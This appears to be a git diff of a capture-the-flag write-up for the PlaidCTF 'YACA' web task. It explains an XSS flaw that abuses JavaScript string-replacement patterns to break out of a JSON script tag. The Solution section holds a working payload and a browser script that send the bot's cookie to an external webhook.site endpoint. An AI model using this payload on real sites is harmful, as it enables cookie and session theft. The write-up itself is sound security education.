Browse Source

full README

master
nitowa 2 years ago
parent
commit
7bb5429943
1 changed files with 113 additions and 7 deletions
  1. 113
    7
      README.md

+ 113
- 7
README.md View File

@@ -8,32 +8,138 @@ Classical XSS web exploit. The solution used special string replacement patterns
8 8
 
9 9
 ## Task Description
10 10
 
11
+Type: Web
11 12
 
13
+Task sources: https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA
14
+
15
+Goal: Steal the cookie of the page-worker
12 16
 
13 17
 ## Analysis Steps
14 18
 
15
-Explain your analysis in detail. Cover all the technical aspects, including the used tools and commands. Mention other collaborators and distinguish contributions.
19
+First, I downloaded the sources and ran the program locally. For this purpose scripts were provided in `package.json`.
20
+The provided `Dockerfile` can also be used for the same effect.
16 21
 
17 22
 ## Vulnerabilities / Exploitable Issue(s)
18 23
 
19
-List security issues you discovered in the scope of the task and how they could be exploited.
24
+On the "Submit your Program" page we are asked to submit a program name and mathematical formula. Two formats are supported: plain formula and AST.
25
+
26
+On the server, checks are performed to make sure the values are safe, but the check for the program type is too permissive:
27
+
28
+```javascript
29
+// index.ts
30
+const { type, program } = req.body;
31
+if (
32
+    typeof type !== "string"
33
+    || type.match(/^[a-zA-Z\-/]{3,}$/) === null  //<-- Any Alphanumeric(plus dashes) string with length >= 3
34
+    || typeof program.name !== "string"
35
+    || typeof program.code !== "string"
36
+    || program.code.length > 10000
37
+) {
38
+    return res.status(500).send("Invalid program");
39
+}
40
+```
41
+The value of `type` is then string-replaced into the template's script tag
42
+
43
+```javascript
44
+//index.ts
45
+const formattedFile = template
46
+    .replace("{{ content-type }}", type)
47
+    .replace("{{ program }}", sanitizedProgram);
48
+```
49
+```html
50
+<!-- calculator.hbs -->
51
+<script id="program" language="json" type="{{ content-type }}">
52
+    {{ program }}
53
+</script>
54
+```
55
+which for the default values results in this
56
+```html
57
+<script id="program" language="json" type="application/x-yaca-code">
58
+    {"name":"New Program","code":"(-b + sqrt(b^2 - 4a*c)) / 2a"}
59
+</script>
60
+```
20 61
 
21 62
 ## Solution
22 63
 
23
-Provide a clean (i.e., without analysis and research steps) guideline to get from the task description to the solution. If you did not finish the task, take your most promising approach as a goal.
64
+Using the `type="application/javascript"`, we can turn the `<script>` tag into an executable javascript scope. The next challenge is to break out of the string-escaped JSON format.
65
+
66
+To achieve this, I employed the "special string replacement template" functionality of javascript. (For further reading on string replacement patterns see References at the end of the document) 
67
+
68
+A simple proof of concept is to `POST` to `/upload`
69
+
70
+```json
71
+{
72
+    type: "application/javascript", 
73
+    program: {
74
+        name: "$'$`alert(1)//",
75
+        code: "a"
76
+    }
77
+}
78
+```
79
+which results in a generated script tag that looks like this
80
+```html
81
+<script id="program" language="json" type="application/javascript">
82
+    alert(1)//","code":"a"}
83
+</script>
84
+```
85
+Now all that is left is to weaponize the exploit. A simple javascript script was used and executed manually via the browser's console.
86
+
87
+In the first step I `POST` my exploit to `/upload`, which responds with the URL of the uploaded formula. I then redirect to that page.
88
+
89
+```javascript
90
+(async() => {
91
+    const response = await fetch(`http://${window.location.host}/upload`, {
92
+        method: 'post',
93
+        body: JSON.stringify({
94
+            type: "application/javascript", 
95
+            program: {
96
+                name: "$'$`fetch('https://webhook.site/33a3e928-e7e0-4c82-92d0-30a375783f5b?x='+document.cookie, {method: 'get'})//",
97
+                code: "a"
98
+            }
99
+        }),
100
+        headers: {
101
+            'Content-Type': "application/json"
102
+        },
103
+    })
104
+    const result = await response.text()
105
+
106
+    window.location.href = `http://${window.location.host}${result}`
107
+})()
108
+```
109
+Since the exploit breaks the "Report" button that triggers the `page-worker` bot, I get the code of the associated `EventListener` and run it manually.
110
+```javascript
111
+const file = location.pathname.split("/").slice(-1)[0];
112
+
113
+fetch(`/report`, {
114
+    method: "POST",
115
+    headers: {
116
+        "Content-Type": "application/json"
117
+    },
118
+    body: JSON.stringify({ file })
119
+});
120
+```
121
+At this point the `page-worker` executes my exploit payload and sends its cookie to my defined REST endpoint.
122
+
123
+The flag value was `pctf{someone_should_document_importmaps_in_mdn_probably}`.
24 124
 
25 125
 ## Failed Attempts
26 126
 
27
-Describe attempts apart from the solution above which you tried. Recap and try to explain why they did not work.
127
+A great deal of effort went into reading `ast-to-js`, `eval-code.mjs`, `lex.mjs`. 
128
+
129
+The first intuition was that the AST representation of the submitted code may be attackable. However even after extensive work on the files, the presented compiler seems to work as intended and appears to be safe. 
28 130
 
29 131
 ## Alternative Solutions
30 132
 
31
-If you can think of an alternative solution (or there are others already published), compare your attempts with those.
133
+Unknown as of yet.
32 134
 
33 135
 ## Lessons Learned
34 136
 
35
-Document what you learned during the competition.
137
+I learned about the string replacement template functionality (documentation see below). Truly a horrible piece of technology that I cannot believe has any other purpose for existing other than to introduce security vulnerabilities. 
138
+
139
+Even as an experienced JS developer I had no idea these exist, and they easily take a top-3 spot in the "things I hate about Javascript" list.
36 140
 
37 141
 ## References
38 142
 
39
-List external resources (academic papers, technical blogs, CTF writeups, ...) you used while working on this task.
143
+Javascript string replacement templates
144
+- https://security.stackexchange.com/questions/197532/how-can-i-exploit-a-xss-vulnerability-which-doesnt-allow-me-to-type-and-sym)
145
+- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_a_parameter

Loading…
Cancel
Save